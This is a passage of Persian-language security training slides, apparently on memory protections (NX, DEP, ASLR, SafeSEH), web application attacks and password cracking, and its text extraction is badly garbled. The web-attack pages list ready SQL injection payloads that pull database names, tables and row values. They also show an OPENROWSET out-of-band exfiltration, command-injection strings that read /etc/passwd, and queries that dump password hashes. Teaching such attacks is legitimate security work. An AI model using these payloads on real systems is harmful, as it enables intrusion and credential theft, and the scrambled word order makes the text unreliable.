
گر اشاره حافظه SEHبازنویسی در کد اجرای برایhttp://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf

از گر SafeSEH/استفاده اشاره از محافظت مشکل SEHبرای با مقابله GS/و / . توابع ها برنامه وجود باشند شده کامپایل مکانیزم این توسط میبایست افزار نرم های بخش کلیه

میکند تهدید را سیستم کل ، نشده محافظت ای کتابخانه به شده اضافه های ) …, GCC )StackGuard , ProPoliceماژول

ایده از Stack Canariesآستفاده در استفاده fstack-protector-سویچ با GCC >3.1قابل در پیشفرض بصورت GCC >4.1فعال : امنیتی مکانیزم این زدن دور برای هایی تکنیک

http://www.coresecurity.com/files/attachments/Richarte_Stackguard_2002.pdf

Page 38: Softwares : Vuln discovery , attack and deffence technologies

38

بافر سرریز حمالت با مقابله

پردازنده توسط شده ارائه امکاناتNX Bit )No eXecute(

پردازنده دستورات یا و ها داده ذخیره برای حافظه مختلف نواحی تقسیم های پردازنده در شده سازی نسل Intelپیدا ، Pentium 4از AMD وSPARC . های از 64پردازنده پیش بیتی

شدند 32انواع مجهز قابلیت این به بیتی به مجهز سیستم NX/DXپردازنده توسط میبایست قابلیت این بلکه نیست حمالت از جلوگیری به قادر تنهایی به

شود گرفته کار به عامل. میکنند ) ( استفاده قابلیت این از نحوی به یک هر جدید و جاری نسخ کنونی عامل های سیستم تمامی تقریبآNX bit از دار معنی بیت آخرین به اشاره واقع دارد . Page table entryدر حافظه معنی 0در به بیت این بودن

executable( بخش این محتوای .1و( pageبودن است ها داده حاوی تنها بخش این که است این معانی به بودن های سیستم بصورت 32bitدر راهکار این و ندارد وجود واقع در بیت میگردد Software Emulatedاین اجراNX حمالت با مقابله میکند Heap Overflowو Stack Overflowامکان میسر را

عامل سیستم سطح در شده سازی پیاده تمهیدات بر مبتنی عامل سیستم سطح در شده سازی پیاده امنیتی های قابلیت از هر NXبسیاری و میباشد

برد . می بکار و کرده معماری را خود به مربوط روشی و نسخه عامل سیستم وجود عدم صورت به CPUدر میگردد NXمجهز سازی پیاده مجازی کامآل بصورت قابلیت این(Address Space Layout Randomization )با مقابله برای استفاده مورد های تکنیک از دیگر یکی

میباشد بافر سرریز حمالت مفهومASLR مشترک وجوه اما شده سازی پیاده مختلفی های نام با مختلف های عامل سیستم در

دارد وجود آنها میان بسیاریASLR که مینماید حافظه در پروسه یک مختلف های بخش به دهی موقعیت به اقدام تصادفی بصورت

شامل ، Base Addressعمومآ ایی کتابخانه توابع گرفتن قرار موقیت ،Stack وHead محدوده در. میگردد پروسه آن آدرس

Page 39: Softwares : Vuln discovery , attack and deffence technologies

39

بافر سرریز حمالت با مقابله

: مختلف های عامل سیستم در شده سازی پیاده های مکانیزمFreeBSD : های پردازنده از نسخه NXپشتیبانی 5.3ازLinux : های پردازنده از نسخه NXدارای 32/64bitپشتیبانی کرنل 2.6.8از

32کرنلbit مانند ها نگارش برخی توسط شده OpenSUSE Ubuntu , FedoraارائهC6 از استفاده برای پیشفرض اند NXبصورت نشده تنظیم افزاری سخت

RedHat : از اختصاصی CPUتمامی NXپشتیبانی راهکار ExecهاتوسطShield . Emulated-NX های پردازنده روی بر . IA32تنها ارائه میگردد پشتیبانی

در RHELو FCشدهPAX : سازی پیاده برای تکنولوژی سخت NXاین امکان فاقد های سیستم در

های پردازنده کلیه و شده طراحی .x86افزاری میکند پشتیبانی را است نبرده بکار را تکنولوژی این پیشفرض بطور هنوز لینوکس کرنل از ,Alpha, AMD64, IA-64, MIPS )32 and 64 bit(, PA-RISC, PowerPCپشتیبانی

SPARC در پیشفرض بطور شده Adamantix , Hardened Gentoo , Hardenedاستفاده

LinuxMac OSX : از نسخه NXپشتیبانی از اینتل های پردازنده 10.4پردازنده کلیه و

پوشش تحت OSXهای

Page 40: Softwares : Vuln discovery , attack and deffence technologies

40

بافر سرریز حمالت با مقابله

: مختلف های عامل سیستم در شده سازی پیاده های مکانیزمWindows : از معماری NXپشتیبانی در بار اولین نسخه x86برای Server SP1 2003و XP SP2از

نام تحت شده ) DEP ) Data Execution Preventionارائه میشوند محافظت عامل سیستم اصلی های سرویس و ها پروسه تنها پیشفرض بطور از پردازنده پشتیبانی صورت ، NXدر DEP میگردد فعال خودکار بطور اولیه های نسخه از DEPدر ،ASLR ! زدن دور امکان نشده مکانیزم DEPاستفاده این کردن فعال غیر حتی و

حمالت .return-to-libcتوسط میشود میسر دلیل همین به به حمله از عینی امنیتی DEPمثالی تمهیدات کلیه بستن بکار وجود با !NXحتی عامل سیستم وhttp://metasploit.com/svn/framework3/trunk/modules/exploits/windows/dcerpc/msdns_zonename.rb مکانیزم زدن دور نحوه از جالب بسیار ای NX+DEP http://uninformed.org/?v=2&a=4مقاله

SafeSEH )Software DEP( به که میباشد دیگری حمالت NXتکنولوژی علیه حفاظت برای و نداشته ارتباطیاز استفاده سو است SEHبرای شده سازی پیاده

) است ) کامپایل تولید زمان در آن از افزار نرم استفاده به منوط تکنولوژی این از استفاده بکمکSafeSEH از استفاده اجازه تنها عامل و Exception Handlerسیستم تعریف قبآل که میدهد افزار نرم به را registerهایی

. اند شده ویندوزVista جدید نسخه بر تکنولوژی DEPمبتنی از که .ASLRمیباشد برد می بهره از پردازده که صورتی بصورت NXدر امکان این از پشتیبانی ویندوز ، نکند را Software-Emulatedپشتیبانی

نداردNetBSD : از گیری نسخه Non Executable Heap/Stackبهره 2.0از

از amd64, sparc64, sparc )sun4m, sun4d(, powerpc )ibm4xx(, alpha, sh5, hppaپشتیبانی از پشتیبانی پیشفرض Emulated-NXعدم بطور

OpenBSD : از نام NXپشتیبانی با اختصاصی تکنولوژی نسخه ) W^X ) WAXتحت 3.3از از Alpha, AMD64, HPPA, and SPARCپشتیبانی از ها Emulated-NXپشتیباتی پردازنده از برخی در

Solaris : از گیری نسخه Non Executable Stackبهره 2.6از

Page 41: Softwares : Vuln discovery , attack and deffence technologies

41

بافر سرریز حمالت با مقابله

Page 42: Softwares : Vuln discovery , attack and deffence technologies

42

بافر سرریز حمالت با مقابله

جانبی های الحاقیه و افزارها نرم از استفاده عامل سیستم امنیت بهبود

بصورت آنها وجود عدم صورت در ، عامل سیستم به نیاز مورد امنیتی های قابلیت کردن اضافهپیشفرض

ASLR , Non Executable Stack/Heap , Security Policies… , GRSecurity

http://www.grsecurity.net/features.php کردن لینوکس PAXاضافه کرنل به با مختلف Stack/Heap Overflowمقابله های تکنیک از استفاده با عامل سیستم کامپایلر امنیت بهبود}! دیگر... } امکانات بسیاری و

حمالت با مقابله برای جانبی افزارهای نرم از استفاده ویندوز خانواده های عامل سیستم در رایج مانند عامل سیستم امنیتی های کمبود ASLRو NXجبران آنها از جلوگیری و حافظه کردن مانیتور طریق از بافر سرریز حمالت تشخیص حمالت مکانیزم کردن تر پیچیده برای ، عامل سیستم امنیتی های قابلیت کنار در استفاده هستیم قدیمی های نسخه یا و امن نا های عامل سیستم از استفاده به ناچار که مواردی در استفاده بعنوان )HIPS )Host Intrusion Prevention Systemاستفاده تجاری افزاری نرم های بسته بصورت غالبآ ارائه

Eeye Blink : http://www.eeye.com/html/products/blink/index.htmlWhehnTrust : http://www.wehnus.com/StackDefender : http://www.ngsec.com{ ...Google for more!}

Page 43: Softwares : Vuln discovery , attack and deffence technologies

43

وب تحت افزارهای نرم به حمله

اضافه وب تحت افزارهای نرم کاربرد و محبوبیت بر روز به روزمیگردد

نرم ها شبکه و ها سیستم علیه حمالت از بسیاری شروع نقطهمیباشد وب تحت افزارهای

نقطه تنها وب تحت افزارهای نرم ، موارد از بسیاری درمیباشند گرفته قرار هدف های سیستم به نفوذگر یک دسترسی

و وب تحت افزارهای نرم علیه شایع حمالت از برخی ادامه درحمالت این با مقابله و پیشگیری برای راهکارهایی همچنین

گرفت خواهد قرار بررسی مورد

Page 44: Softwares : Vuln discovery , attack and deffence technologies

44

وب تحت افزارهای نرم به حمله

وب تحت افزارهای نرم بر مبتنی حمالت انواع با آشناییCross-Site ScriptingSQL InjectionCommand InjectionDynamic code executionCookie/Session HijackingParameter/form TamperingBuffer OverflowsDirectory TraversalForceful BrowsingInformation LeakagesHarvesting Attacks

Page 45: Softwares : Vuln discovery , attack and deffence technologies

45

وب تحت افزارهای نرم به حمله

وب تحت های سیستم به حمله آناتومی با آشنایی وب تحت افزار نرم شناسایی برای پویش

Web Spidering and User directed spideringDiscovering Hidden contentsChecking search engines and archive sitesBrute-forcing directories and filesIdentify entry points for user inputs

هدف شناسایی و اطالعات آوری جمع سرور وب شناسایی شناساییApplication Server

ها پذیری آسیب وجود بررسی و تست آن سازی پیاده نحوه و حمله روش طراحی حمله سازی پیاده

Page 46: Softwares : Vuln discovery , attack and deffence technologies

46

وب تحت افزارهای نرم به حمله

حمالت SQL Injectionبررسی حمالت مکانیزم با SQL Injectionآشنایی شناسایی و جستجو SQL Injectionنحوه

Blind SQL InjectionNormal SQL Injection

سنجی اعتبار های فرم از عبور دستورات SELECT,UNION) ( تزریق

SELECT,INSERT,UPDATE,DELETE اطالعاتی بانک از اولیه مفید اطالعات استخراج

اطالعاتی بانک نسخه کردن مشخص اطالعاتی بانک استفاده مورد کاربری نام کردن مشخص

Page 47: Softwares : Vuln discovery , attack and deffence technologies

47

وب تحت افزارهای نرم به حمله

خطا های پیغام اساس بر اطالعاتی بانک از نظر مورد اطالعات استخراج نوع از پارامتر :Integerبررسی

http://[site]/page.asp?id=1 having 1=1 –Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate

function and there is no GROUP BY clause . نوع از پارامتر : Stringبررسی

http://[site]/page.asp?id=x' having 1=1 –Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate

function and there is no GROUP BY clause . اطالعاتی بانک کاربر نام استخراج

http://[site]/page.asp?id=1 or 1=convert)int,)USER(( –Syntax error converting the nvarchar value '[DB USER]' to a column of data type int.

اطالعاتی بانک نام استخراجhttp://[site]/page.asp?id=1 or 1=convert)int,)DB_NAME(( –Syntax error converting the nvarchar value '[DB NAME]' to a column of data type int.

اطالعاتی بانک نسخه استخراجhttp://[site]/page.asp?id=1 or 1=convert)int,)@@VERSION(( –Syntax error converting the nvarchar value '[DB VERSION]' to a column of data type int.

سرور نام استخراجhttp://[site]/page.asp?id=1 or 1=convert)int,)@@SERVERNAME(( –Syntax error converting the nvarchar value '[SERVER NAME]' to a column of data type int.

Page 48: Softwares : Vuln discovery , attack and deffence technologies

48

وب تحت افزارهای نرم به حمله

( خطا های پیغام اساس بر اطالعاتی بانک از نظر مورد اطالعات (2استخراج اولین نام Table استخراج

http://[site]/page.asp?id=1  or 1=convert)int,)select top 1 name from sysobjects where xtype=char)85(((– Syntax error converting the nvarchar value '[TABLE NAME 1]' to a column of data type int.

دومین نام Table استخراج http://[site]/page.asp?id=1  or 1=convert)int,)select top 1 name from sysobjects where xtype=char)85( and ,name>'TABLE-NAME-

1'((– Syntax error converting the nvarchar value '[TABLE NAME 2]' to a column of data type int.

سومین نام Table استخراج http://[site]/page.asp?id=1  or 1=convert)int,)select top 1 name from sysobjects where xtype=char)85( and ,name>'TABLE-NAME-

2'((-- Syntax error converting the nvarchar value '[TABLE NAME 3]' to a column of data type int. اولین نام Table در Column استخراج

http://[site]/page.asp?id=1  or 1=convert)int,)select top 1 column_name from DBNAME.information_schema.columns where table_name='TABLE-NAME-1'((–

Syntax error converting the nvarchar value '[COLUMN NAME  1]' to a column of data type int. دومین نام Table در Column استخراج

http://[site]/page.asp?id=1  or 1=convert)int,)select top 1 column_name from DBNAME.information_schema.columns where table_name='TABLE-NAME-1' and column_name>'COLUMN-NAME-1'((–

Syntax error converting the nvarchar value '[COLUMN NAME 2]' to a column of data type int. اولین اولین Field استخراج Row از

http://[site]/page.asp?id=1  or 1=convert)int,)select top 1 COLUMN-NAME-1 from TABLE-NAME-1((– Syntax error converting the nvarchar value '[FIELD 1 VALUE]' to a column of data type int.

دومین اولین Field استخراج Row از http://[site]/page.asp?id=1  or 1=convert)int,)select top 1 COLUMN-NAME-2 from TABLE-NAME-1((– Syntax error converting the nvarchar value '[FIELD 2 VALUE]' to a column of data type int.

اولین دومین Field استخراج Row از http://[site]/page.asp?id=1  or 1=convert)int,)select top 1 COLUMN-NAME-1 from TABLE-NAME-1 where COLUMN-NAME-1

NOT in )'FIELD-1-VALUE'( order by COLUMN-NAME-1 desc((– Syntax error converting the nvarchar value '[FIELD 1 VALUE OF 2ND ROW]' to a column of data type int.

Page 49: Softwares : Vuln discovery , attack and deffence technologies

49

وب تحت افزارهای نرم به حمله

از استفاده با اطالعاتی بانک از اطالعات Unionاستخراج پارامترها تعداد کردن مشخص

http://[site]/page.asp?id=1 UNION SELECT ALL 1,2– All queries in an SQL statement containing a UNION operator must have an equal number of

expressions in their target lists http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4– NO Error

اطالعاتی بانک کاربر نام استخراج http://[site]/page.asp?id=1 UNION SELECT ALL 1,USER,3,4—

اطالعاتی بانک نام استخراج http://[site]/page.asp?id=1 UNION SELECT ALL 1,DB_NAME,3,4—

اطالعاتی بانک نسخه استخراج http://[site]/page.asp?id=1 UNION SELECT ALL 1,@@VERSION,3,4—

نام اطالعاتی Table استخراج بانک های http://[site]/page.asp?id=1  UNION SELECT ALL 1,name,3,4 from sysobjects where xtype=char)85(—

نام ها Table های Column استخراج http://[site]/page.asp?id=1  UNION SELECT ALL 1,column_name,3,4 from

DBNAME.information_schema.columns where table_name='TABLE-NAME-1'— اولین Field استخراج

http://[site]/page.asp?id=1  UNION SELECT ALL 1,COLUMN-NAME-1,3,4 from TABLE-NAME-1— دومین Field استخراج

http://[site]/page.asp?id=1  UNION SELECT ALL 1,COLUMN-NAME-2,3,4 from TABLE-NAME-1--

Page 50: Softwares : Vuln discovery , attack and deffence technologies

50

وب تحت افزارهای نرم به حمله

حمالت در نظر مورد اطالعات Blind SQL Injectionاستخراج)http://www.evilsql.com/page1.html(

( اطالعات استخراج معمول غیر های روش با Out of bandآشناییchannles)

MS-SQL Openrowset insert into openrowset)‘SQLOLEDB’,‘DRIVER=}SQL

Server{;SERVER=10.20.10.20,80;UID=sa;PWD=1234’,‘select * from foo’( values )@@version(

DNS ResolveHTTP GEThttp://www.cqure.net/files/OWASP%20-%20Sweden%20-%2020080527%20-%20SQL%20injection.zip

طریق از عامل سیستم دستورات SQL Injectionاجرای ابزارهای اطالعات Automatedبررسی استخراج

Page 51: Softwares : Vuln discovery , attack and deffence technologies

51

وب تحت افزارهای نرم به حمله

حمالت OS Command InjectionبررسیPerl Applications

ASP Applications

use CGI qw):standard escapeHTML(;print header, start_html)“”(;print “<pre>”;my $command = “du -h --exclude php* /var/www/html”;$command= $command.param)“dir”(;$command=`$command`;print “$command\n”;print end_html;

http://web-app/cgi-bin/vuln.cgi?dir=/public|%20cat%/etc/passwd

<%Set oScript = Server.CreateObject)“WSCRIPT.SHELL”(Set oFileSys = Server.CreateObject)“Scripting.FileSystemObject”(szCMD = “type c:\inetpub\wwwroot\logs\“ & Request.Form)“FileName”(szTempFile = “C:\“ & oFileSys.GetTempName)(Call oScript.Run )“cmd.exe /c “ & szCMD & “ > “ & szTempFile,0, True(Set oFile = oFileSys.OpenTextFile )szTempFile, 1, False, 0(%>

http://web-app/view.asp [Form Data sample.log && dir c:\

Page 52: Softwares : Vuln discovery , attack and deffence technologies

52

وب تحت افزارهای نرم به حمله

حمالت )Command Injection )2بررسی شناسایی های روش

نتیجه مستقیم مشاهده و دستورات از قبل ، پارامترها در خاص کاراکترهای تزریق های ; | && کاراکتر

زمانی تآخیرهای اساس بر تشخیص و تزریق |ping –i 30 127.0.0.1| |ping –n 30 127.0.0.1| &ping –i 30 127.0.0.1& &ping –n 30 127.0.0.1& ;ping 127.0.0.1; %0a ping –i 30 127.0.0.1 %0a `ping 127.0.0.1`

ها روش سایر از دستور خروجی مشاهده اساس بر تشخیص و تزریق حمالت Code InjectionبررسیDynamic Code Execution in PHP

Dynamic Code Execution in ASPFile Inclusion

PHP Remote File Inclusion )RFI(Local File Inclusin )LFI(

Page 53: Softwares : Vuln discovery , attack and deffence technologies

53

وب تحت افزارهای نرم به حمله

حمالت )Path Traversal )WAHHB Page 334بررسی

حمالت )Cross Site Scripting )XSS( )WAHHB Page 375 بررسی

حمالت انواع آنها XSSبررسی های تفاوت وReflected XSSStored XSS

های ضعف )XSS )WAHHB Page 401شناسایی

حمالت کاربردهای XSSبررسی سرقتSession کاربرBypass های محدودیت برخی Web Applicationکردن به کاربر بجای درخواست خاص web applicationارسال عملی انجام برای استفاده سو های روش سایر ( WAHHB Page 396)بررسی

حمالت Parameter Tampering/Manipulationبررسی حمالت Forceful Browsingبررسی وب تحت افزارهای نرم بررسی و پویش ابزارهای معرفی

Page 54: Softwares : Vuln discovery , attack and deffence technologies

54

عبور کلمات علیه حمالت

حمالت کلی بندی تقسیمOnline Attacks

سرویس با تعامل به اقدام طریق از عبور کلمه و کاربری نام کشف روی بر تمرکز عبور کلمات حدس برای مستقیم بطور هدف با ارتباط برقراری به اقدام نیازمند آنها با تعامل بمنظور خاص های سرویس بودن دسترس در نیازمند حمله طول در شده تولید های رویداد و ترافیک حجم بدلیل آسان شناسایی قابلیت حمالت با مقایسه در پایین بسیار شبکه Offlineسرعت منابع به وابسته و ، نفوذگر سمت در باال پردازش قدرت به نیاز عدم

Offline Attacks / آمده بدست هدف از که شده کد رمز عبور کلمات شکستن روی بر تمرکز حمله طول در هدف با ارتباط برقراری به نیاز عدم / شده رمز عبور کلمات استخراج بمنظور تنها سیستم سرویس با تعامل نیازمند) خاص ) شرایط در شده رمز عبور کلمات استخراج زمان در تنها شناسایی امکان) ( شده برده بکار رمزنگاری روش به وابسته باال بسیار سرعت نفوذگر سمت در باال پردازش قدرت نیازبه

Page 55: Softwares : Vuln discovery , attack and deffence technologies

55

عبور کلمات علیه حمالت

Online Attacks مختلف های وپروتکل ها سرویس طریق از سازی پیاده قابل

دور راه از دسترسی های پروتکل و ها (,…Telnet,SSH,Rlogin,TS,VNC)سرویس

پستی های (,…POP,SMTP,IMAP)سرویس

اطالعاتی بانک های (,…MS-SQL,MySQL,Oracle)سرویس

وب به وابسته های (,…HTTP,Login Forms,Proxies,Socks)سرویس

دور راه از مدیریت های (,…SNMP,RPC,WMI)پروتکل

عبور کلمه و کاربری نام ارسال به نیاز دسترسی برای که دیگری سرویس هر وباشد ! داشته

حمله سازی پیاده مختلف ابزارهای و ها روش بررسی حمالت از دسته این با مقابله متداول های روش بررسی پیشفرض عبور کلمات و کاربری های نام خصوص در نکاتی

Networking Devices,Database Systems,Product default accounts,Product Master/Hidden/Hardcoded passwords,Service

accounts عبور کلمات محدوده و دیکشنری های فایل انتخاب خصوص در نکاتی

Page 56: Softwares : Vuln discovery , attack and deffence technologies

56

عبور کلمات علیه حمالت

Offline Attacks های مکانیزم با عبور Encodingو Hashآشنایی کلمات برده بکار های مکانیزم و ها سرویس برخی با آشنایی

آنها توسط شده شده رمز عبور کلمات آوردن بدست های روش بررسی

عبور کلمات ذخیره خاص های فایل از عامل استخراج سیستمC:\windows\system32\config\SAM/etc/passwd & /etc/shadow

سرویس یا سیستم تنظیمات حاوی های فایل از استخراج شبکه ترافیک از استخراج اطالعاتی های بانک از استخراج

Page 57: Softwares : Vuln discovery , attack and deffence technologies

57

عبور کلمات علیه حمالت

Offline Attacks شده رمز عبور کلمات آوردن بدست های روش بررسی

اطالعاتی های بانک از استخراجMySQL select user, password from user

MS-SQL 2000select name, password from master..sysxlogins MS-SQL 2005select name,password_hash FROM sys.sql_loginsOracleselect username, password from DBA_USERSOracleselect name,password from SYS.USER$PortageSQLselect usename, passwd FROM pg_shadow

شده رمز عبور کلمات شکستن های تکنیک بررسیDictonary , Bruteforce , Hybrid(Pre-Computed Rainbow Tables )Cryptanalysis Cryptography flaws

حمالت سازی پیاده های روش بررسیSingle SystemDistributed Systems Free & Commercial Cryptanalysis providers